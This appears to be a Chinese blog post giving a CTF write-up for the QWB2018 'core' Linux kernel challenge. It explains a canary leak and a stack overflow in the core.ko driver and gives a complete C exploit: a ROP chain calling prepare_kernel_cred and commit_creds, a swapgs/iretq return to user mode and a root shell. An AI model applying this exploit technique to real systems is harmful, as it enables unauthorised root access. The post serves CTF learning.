Linux Kernel Pwn(二)
April 1, 2020 PWN 访问: 60 次
kernel pwn ROP利用方法
以QWB2018-core
为例子
start.sh
启动脚本
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
把文件系统core.cpio
解压之后,查看init
文件
1 #!/bin/sh
2 mount -t proc proc /proc
3 mount -t sysfs sysfs /sys
4 mount -t devtmpfs none /dev
5 /sbin/mdev -s
6 mkdir -p /dev/pts
7 mount -vt devpts -o gid=4,mode=620 none /dev/pts
8 chmod 666 /dev/ptmx
9 cat /proc/kallsyms > /tmp/kallsyms
10 echo 1 > /proc/sys/kernel/kptr_restrict
11 echo 1 > /proc/sys/kernel/dmesg_restrict
12 ifconfig eth0 up
13 udhcpc -i eth0
14 ifconfig eth0 10.0.2.15 netmask 255.255.255.0
15 route add default gw 10.0.2.2
16 insmod /core.ko
17
18 #poweroff -d 120 -f &
19 setsid /bin/cttyhack setuidgid 1000 /bin/sh
20 echo 'sh end!\n'
21 umount /proc
22 umount /sys
23
24 poweroff -d 0 -f
在第9行把不能查看的地址信息拷贝到了tmp
目录下了,所以我们可以通过该文件计算基地址。第18行设置时间限制。我们调试的时候把这行注释掉比较方便,为了能执行lsmod
,所以把setsid /bin/cttyhack setuidgid 1000 /bin/sh
改成setsid /bin/cttyhack setuidgid 0 /bin/sh
分析core.ko
radish ➜ give_to_player checksec --file core.ko
[*] '/media/psf/Home/MyFile/ctf/kernel-pwn/test-two/give_to_player/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
跟驱动的漏洞有两处
- core_read
函数中off
变量可控,可以泄露出栈上的地址(canary)
- core_copy_func
函数中存在数据类型转化造成任意长度复制到栈上,导致栈溢出
攻击流程:
- 通过/tmp/kallsyms
来计算出来kernel
的基地址
- 通过ropper
来获取一些gadget
的地址供后门构造rop chain
使用
- 泄露canary
- rop
即可
内核态切换回用户态:通过 swapgs 恢复 GS 值;通过iretq 恢复各寄存器值到用户态;
exp:
#include<stdio.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include <ctype.h>
void HexStrToByte(const char* source, unsigned char* dest, int sourceLen)
{
short i;
unsigned char highByte, lowByte;
for (i = 0; i < sourceLen; i += 2)
{
highByte = toupper(source[i]);
lowByte = toupper(source[i + 1]);
if (highByte > 0x39)
highByte -= 0x37;
else
highByte -= 0x30;
if (lowByte > 0x39)
lowByte -= 0x37;
else
lowByte -= 0x30;
dest[i / 2] = (highByte << 4) | lowByte;
}
return ;
}
void set_off(int fd,size_t size)
{
printf("set off %ld \n",size);
ioctl(fd,0x6677889C,size);
}
void read_str(int fd,char *addr)
{
printf("* read buf *\n");
ioctl(fd,0x6677889B,addr);
}
void reverse(char *str,char *str2){
int i=0;
for(i=0;i<8;i++)
{
str[i]=str2[7-i];
}
}
size_t search_symbols(char *str){
char line[0x50],addr[0x50]={0},addr_2[0x50]={0},addr_3[0x10]={0};
size_t num;
FILE *fd=fopen("/tmp/kallsyms","r");
while(!feof(fd))
{
fgets(line,0x50,fd);
// printf("读取内容:%s", c);
if(strstr(line,str))
{
strncpy(addr,line,16);
HexStrToByte(addr,addr_2,16);
// printf("%s",addr_2);
reverse(addr_3,addr_2);
num = ((size_t *)addr_3)[0];
}
}
fclose(fd);
return num;
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
if(!getuid())
{
printf(":) root:");
system("/bin/sh");
}else{
printf(":( pwn fail!!!");
}
}
int main()
{
save_status();
int i,file = open("/proc/core",2);
size_t commit_creds_offset,prepare_kernel_cred,rop[0x300] = {0},base_addr,commit_creds;
commit_creds_offset = 0x9c8e0;
/*get vmlinux base*/
base_addr = search_symbols("commit_creds")-commit_creds_offset;
printf("base_addr :%p\n",base_addr);
prepare_kernel_cred = base_addr + 0x9cce0;
printf("prepare_kernel_cred :%p\n",prepare_kernel_cred);
commit_creds = base_addr + commit_creds_offset;
printf("commit_creds :%p\n",commit_creds);
size_t pop_rdi = 0xb2f + base_addr;
size_t pop_rdx = 0xa0f49 + base_addr;
size_t code_1 = 0x6a6d2 + base_addr;//mov rdi, rax ; call rdx
size_t code_2 = 0xa012da + base_addr;// swapgs ; popfq ; ret
size_t code_3 = 0x50ac2 + base_addr;//iretq; ret;
/*get canary*/
char *str_addr = malloc(0x80);
set_off(file,0x40);
read_str(file,str_addr);
size_t canary = ((size_t *)str_addr)[0];
printf("canary: %p\n", canary);
printf("canary: %p\n", ((size_t *)str_addr)[1]);
/* rop chain */
size_t payload[0x100]={0};
for(i=0;i<8;i++)
{
payload[i] = 0x12345678;
}
payload[i++] = canary;
payload[i++] = 0x12345678;
payload[i++] = pop_rdi;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
payload[i++] = pop_rdx;
payload[i++] = commit_creds;
payload[i++] = code_1;
payload[i++] = code_2;
payload[i++] = 0;
payload[i++] = code_3;
payload[i++] = (size_t)get_shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;
/*get shell*/
write(file,payload,0x800);
ioctl(file,0x6677889A,0xffffffffffff0000 | (0x100));
return 0;
}
遇到的一些问题
1、当泄露出的数据转换数字的时有点麻烦
2、open
函数的第二个参数使用不当时,会导致驱动的write
功能失效
3、计算基地址时,需要用到commit_creds
的偏移,用pwntools
中的ELF
找出来即可
4、C语言在文件中匹配字符串有点不熟练